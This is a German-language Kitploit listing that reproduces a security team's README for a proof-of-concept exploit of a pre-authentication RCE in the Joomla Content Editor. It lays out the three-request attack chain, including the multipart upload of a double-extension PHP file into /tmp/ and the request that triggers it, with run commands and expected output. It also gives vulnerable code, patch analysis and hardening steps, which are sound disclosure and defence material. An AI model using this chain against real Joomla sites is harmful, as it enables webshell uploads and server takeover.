Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-48907 — CVE-2026-48907 ist eine CVSS 10.0 Pre-Auth-RCE im Joomla Content Editor, die alle Versionen ≤ 2.9.99.4 betrifft. Das Grayxploit-Team analysiert die 3-Schwachstellenkette — fehlende Authentifizierung, keine Erweiterungsvalidierung und ein unsicheres Upload-Flag — die es Angreifern ermöglicht, mit 3 HTTP-Anfragen eine Shell zu öffnen. | Kitploit
Tools/GitHubGitHub/grayxploit/cve-2026-48907
Payload-GenerierungSchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsPapers & ForschungLernen & Bildung
GitHubgrayxploit/cve-2026-48907

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →

Über

CVE-2026-48907 ist eine CVSS 10.0 Pre-Auth-RCE im Joomla Content Editor, die alle Versionen ≤ 2.9.99.4 betrifft. Das Grayxploit-Team analysiert die 3-Schwachstellenkette — fehlende Authentifizierung, keine Erweiterungsvalidierung und ein unsicheres Upload-Flag — die es Angreifern ermöglicht, mit 3 HTTP-Anfragen eine Shell zu öffnen.

CVE-2026-48907

Repository anzeigen
vor 1 MonatNoch nicht geprüft
Teilen

CVE-2026-48907 — Nicht authentifizierte RCE in Joomla Content Editor (JCE) ≤ 2.9.99.4

Proof-of-Concept-Exploit für CVE-2026-48907 – eine CVSS 10.0 nicht authentifizierte Remote-Code-Ausführung-Schwachstelle in der Joomla Content Editor (JCE)-Erweiterung.
Forschung vom Grayxploit Security Team

Gemini_Generated_Image_2i4b4p2i4b4p2i4b

Inhaltsverzeichnis

  • Übersicht
  • Betroffene Versionen
  • Details zur Sicherheitslücke
  • Angriffsablauf
  • Proof of Concept
  • Patch-Analyse
  • Abhilfe
  • Zeitplan
  • Referenzen
  • Haftungsausschluss

Übersicht

CVE-2026-48907 ist eine kritische, nicht authentifizierte Remote-Code-Ausführung (RCE)-Schwachstelle in der Joomla Content Editor (JCE)-Erweiterung – dem am weitesten verbreiteten Joomla-Editor – in allen Versionen bis einschließlich 2.9.99.4.

Durch die Verkettung von drei unabhängigen Sicherheitsschwachstellen im JCE-Profilimport-Workflow kann ein völlig unauthentifizierter Angreifer Folgendes tun:

  • Eine beliebige PHP-Webshell in das /tmp/-Verzeichnis des Servers hochladen
  • Die Ausführung dieser Webshell über HTTP auslösen
  • Vollständige Remote Code Execution (RCE) ohne Anmeldedaten, ohne Benutzerinteraktion und ohne besondere Netzwerkposition erreichen

Der Angriff erfordert nur 3 HTTP-Anfragen und funktioniert gegen jede Standard-Joomla-Installation mit einer verwundbaren JCE-Version.

CVSS v4 Punktzahl: 10.0 — Kritisch

Entdeckt und öffentlich offengelegt vom Grayxploit Security-Forschungsteam nach verantwortungsvoller Offenlegung.


Betroffene Versionen

SoftwareVerwundbare VersionenPatch-Version
Joomla Content Editor (JCE)≤ 2.9.99.42.9.99.6 (empfohlen)

Hinweis: 2.9.99.5 führte den Kernfix ein. 2.9.99.6 fügte zusätzliche Härtungsschichten hinzu. Aktualisieren Sie auf 2.9.99.6 oder höher.


Details zur Sicherheitslücke

Die Schwachstelle hat ihren Ursprung im JCE-Profilimport-Endpunkt:

root@kitploit:~
POST /index.php?option=com_jce&task=profiles.import

JCE erlaubt Administratoren, Editorprofile als XML-Dateien zu exportieren und zu importieren. Der Import-Handler ist ohne Authentifizierung erreichbar und akzeptiert aufgrund einer Kette von drei unabhängigen Schwachstellen beliebige Datei-Uploads.

Schwachstelle 1 — Fehlende Autorisierung (CWE-862)

Die Import-Controller führte keine ACL-Prüfung durch:

root@kitploit:~
public function import()
{
    // Only gate: CSRF token — trivially bypassable
    Session::checkToken() or jexit(JText::_('JINVALID_TOKEN'));

    $app = Factory::getApplication();
    // … straight into file handling — no authorise() check
}

Joomla bettet das CSRF-Token in jede öffentliche Seite als Meta-Tag oder JavaScript-Variable ein:

root@kitploit:~
<meta name="csrf.token" content="abcdef1234567890abcdef1234567890" />

Ein Angreifer ruft einfach die Startseite ab, extrahiert das Token und spielt es erneut ab. Die CSRF-Prüfung verhindert Cross-Site-Anfragen – sie verhindert nicht direkte scriptgesteuerte Anfragen. Es gab keinen Aufruf von Factory::getUser() oder $user->authorise(...) im gesamten Import-Pfad.


Schwachstelle 2 — Keine Dateiendungsüberprüfung (CWE-434)

Der Upload-Handler verwendete File::makeSafe(), das nur ungültige Dateisystemzeichen entfernt – es überprüft oder schränkt Dateiendungen nicht ein:

root@kitploit:~
$file = $app->input->files->get('profile_file', null, 'raw');

if (!is_uploaded_file($file['tmp_name'])) { return false; }

$name = File::makeSafe($file['name']); // strips illegal chars only

$destination = $config->get('tmp_path') . '/' . $name;
$source      = $file['tmp_name'];

File::upload($source, $destination, false, true);

Ein Dateiname wie shell.xml.php passiert File::makeSafe() unverändert. Apache's mod_php führt ihn aus, da die letzte erkannte Endung .php ist. Endungen wie .php, .php5, .phtml und Doppelvarianten wurden alle akzeptiert.


Schwachstelle 3 — File::upload() mit $allow_unsafe = true aufgerufen (CWE-116)

Joomla's File::upload() verfügt über eine integrierte Erweiterungs-Blacklist, die gefährliche Dateitypen blockiert, wenn $allow_unsafe = false (Standard) ist:

root@kitploit:~
// Joomla File::upload() signature
File::upload($src, $dest, $use_streams = false, $allow_unsafe = false)

Der verwundbare JCE-Code hat dieses Sicherheitsnetz explizit deaktiviert:

root@kitploit:~
// VULNERABLE — unsafe uploads explicitly enabled
File::upload($source, $destination, false, true);

Dieser einzelne Boolean-Wert schaltete die gesamte interne Erweiterungs-Blacklist von Joomla aus, sodass .php, .php5, .phtml und alle anderen ausführbaren Erweiterungen auf die Festplatte geschrieben werden konnten.


Angriffsablauf

root@kitploit:~
┌─────────────────────────────────────────────────────────────────┐
│                                                                 │
│  ① GET /                                                       │
│     ← Extract csrf_token from HTML/JS                           │
│                                                                 │
│  ② POST /index.php?option=com_jce&task=profiles.import         │
│     Content-Type: multipart/form-data                           │
│                                                                 │
│     --boundary                                                  │
│     Content-Disposition: form-data; name="task"                 │
│     profiles.import                                             │
│     --boundary                                                  │
│     Content-Disposition: form-data; name="<csrf_token>"         │
│     1                                                           │
│     --boundary                                                  │
│     Content-Disposition: form-data;                             │
│       name="profile_file";                                      │
│       filename="shell-<hash>.xml.php"                           │
│     Content-Type: application/xml                               │
│                                                                 │
│     <?= 45*69 ?>                                                │
│     --boundary--                                                │
│                                                                 │
│     ← 200 OK (file written to /var/www/html/tmp/)               │
│                                                                 │
│  ③ GET /tmp/shell-<hash>.xml.php                               │
│     ← Response: "3105"  (45 × 69 = RCE confirmed ✓)             │
│                                                                 │
└─────────────────────────────────────────────────────────────────┘

  No session cookie. No username. No password. 3 HTTP requests.

Proof of Concept

⚠️ Dieser PoC dient ausschließlich der autorisierten Sicherheitsforschung und Penetrationstests. Verwenden Sie ihn nicht gegen Systeme ohne ausdrückliche schriftliche Genehmigung. Unbefugte Nutzung ist illegal und unethisch.

Voraussetzungen

root@kitploit:~
pip3 install requests

Verwendung

root@kitploit:~
git clone https://github.com/grayxploit/CVE-2026-48907.git
cd CVE-2026-48907
pip3 install -r requirements.txt
python3 poc.py

Erwartete Ausgabe (Verwundbares Ziel)

[] Ziel : http://localhost:9999

[] Payload : cve-2026-48907-4821.xml.php [] Schritt 1 — CSRF-Token abrufen...

[+] CSRF-Token: abcdef1234567890abcdef1234567890

[] Schritt 2 — Payload hochladen...

[+] Hochlade-Antwort: HTTP 200

[*] Schritt 3 — Ausführung des Payloads auslösen...

[+] Antwort: 3105

[KRITISCH] RCE BESTÄTIGT — CVE-2026-48907

Ziel http://localhost:9999 ist VERWUNDBAR


Patch-Analyse

Alle drei Schwachstellen wurden in JCE 2.9.99.5 behoben, mit zusätzlicher Härtung in 2.9.99.6.

Fix 1 — Autorisierungsprüfung hinzugefügt (CWE-862-Behebung)

controller/profiles.php:

root@kitploit:~
$user = Factory::getUser();

if (!$user->authorise('core.manage', 'com_jce')) {
    throw new Exception(Text::_('JERROR_ALERTNOAUTHOR'), 403);
}

Gastbenutzer (id = 0) scheitern sofort an authorise(). Die Anfrage wird abgewiesen, bevor eine Dateiverarbeitung stattfindet.

Fix 2 — Strikte Erweiterungs-Whitelist (CWE-434-Behebung)

models/profile.php:

root@kitploit:~
$extension = PATHINFO($name, PATHINFO_EXTENSION);

if (strtolower($extension) !== 'xml') {
    $app->enqueueMessage(Text::_('WF_PROFILES_IMPORT_INVALID_FILE'), 'error');
    return false;
}

PATHINFO_EXTENSION gibt nur die letzte Endung zurück. shell.xml.php → php → abgelehnt. Dadurch werden alle Multi-Extension-Umgehungen neutralisiert.

Fix 3 — Unsicheres Flag entfernt (CWE-116-Behebung)

root@kitploit:~
// Vorher (verwundbar)
File::upload($source, $destination, false, true);

// Nachher (gepatcht)
File::upload($source, $destination, false);

Die interne Erweiterungs-Blacklist von Joomla wird als unabhängige Verteidigungsschicht wieder aktiviert.

Zusätzliche Härtung in 2.9.99.6

FixDetail
Upload-GrößenbegrenzungLehnt Dateien > 512 KB ab
XXE-Schutzlibxml_disable_entity_loader(true) zurückportiert auf PHP 7.x
XML-Feld-WhitelistNur bekannte, sichere XML-Schlüssel werden verarbeitet; unbekannte Schlüssel werden still ignoriert

Abhilfe

PHP in /tmp/ über .htaccess deaktivieren

root@kitploit:~
<Directory /var/www/html/tmp>
    php_flag engine off
    <FilesMatch "\.ph(p[2-9]?|tml)$">
        Deny from all
    </FilesMatch>
</Directory>

Zeitplan


Referenzen

  • NVD — CVE-2026-48907
  • Grayxploit Blog — Vollständiger Write-up
  • JCE Offizielle Website
  • Joomla Security Advisory
  • CWE-862: Fehlende Autorisierung
  • CWE-434: Unbeschränkter Upload von Dateien mit gefährlichem Typ

Haftungsausschluss

Dieses Repository ist ausschließlich für autorisierte Sicherheitsforschung, Schulungen und Penetrationstests auf Systemen bestimmt, die Sie besitzen oder für die Sie eine ausdrückliche schriftliche Genehmigung haben.

Das Grayxploit-Team ist nicht verantwortlich für unbefugte, illegale oder böswillige Nutzung des Codes oder der in diesem Repository bereitgestellten Informationen.

Verantwortungsvoll nutzen. Legal testen.


Lizenz

Dieses Projekt ist unter der MIT-Lizenz lizenziert.


   



Fanden Sie das nützlich? Zeigen Sie etwas Wertschätzung.

Jeder Stern hilft, diese Forschung zu mehr Verteidigern, Pentestern und Blue Teamern zu bringen, die sie brauchen.


   




Über Grayxploit

Grayxploit ist ein unabhängiges Sicherheitsforschungsteam, das sich auf die Entdeckung von Schwachstellen, Exploit-Entwicklung und verantwortungsvolle Offenlegung in Webplattformen, CMS-Ökosystemen und Open-Source-Software konzentriert.

Tool herunterladen
PrioritätAktion
🔴 SofortJCE auf ≥ 2.9.99.6 aktualisieren
🟠 HochWebzugriff auf /tmp/ auf Serverebene blockieren oder einschränken
🟠 HochPHP-Ausführung in temporären Verzeichnissen via .htaccess oder Serverkonfiguration deaktivieren
🟡 MittelWAF-Regel hinzufügen, um bei com_jce&task=profiles.import von nicht authentifizierten Sitzungen zu warnen/blockieren
🟡 MittelAndere Joomla-Erweiterungen auf File::upload(..., true) ohne Erweiterungsvalidierung prüfen
DatumEreignis
2026-05-XXSchwachstelle vom Grayxploit-Forschungsteam entdeckt
2026-05-XXVerantwortungsvolle Offenlegung an die JCE-Maintainer
2026-06-XXCVE-2026-48907 von MITRE zugewiesen
2026-06-XXJCE 2.9.99.5 veröffentlicht — Kernfix
2026-06-12JCE 2.9.99.6 veröffentlicht — zusätzliche Härtung
2026-06-12Öffentliche Offenlegung durch Grayxploit
Wir findenWir legen offenSie verteidigen
Pre-Auth-RCEsVerantwortungsvoll und öffentlichMit unserer detaillierten Patch-Analyse
LogikfehlerMit vollständiger UrsachenanalyseDurch sichere Nutzung unserer PoCs
Verkettete SchwachstellenBevor die Massenausbeutung beginntSchneller als Bedrohungsakteure

Haben Sie einen Tipp oder möchten Sie zusammenarbeiten? Eröffnen Sie ein Issue oder kontaktieren Sie uns über unser GitHub-Profil.



CVE-2026-48907 — Originalforschung von

🔐 Grayxploit Security Team

Dinge kaputt machen. Verantwortungsvoll.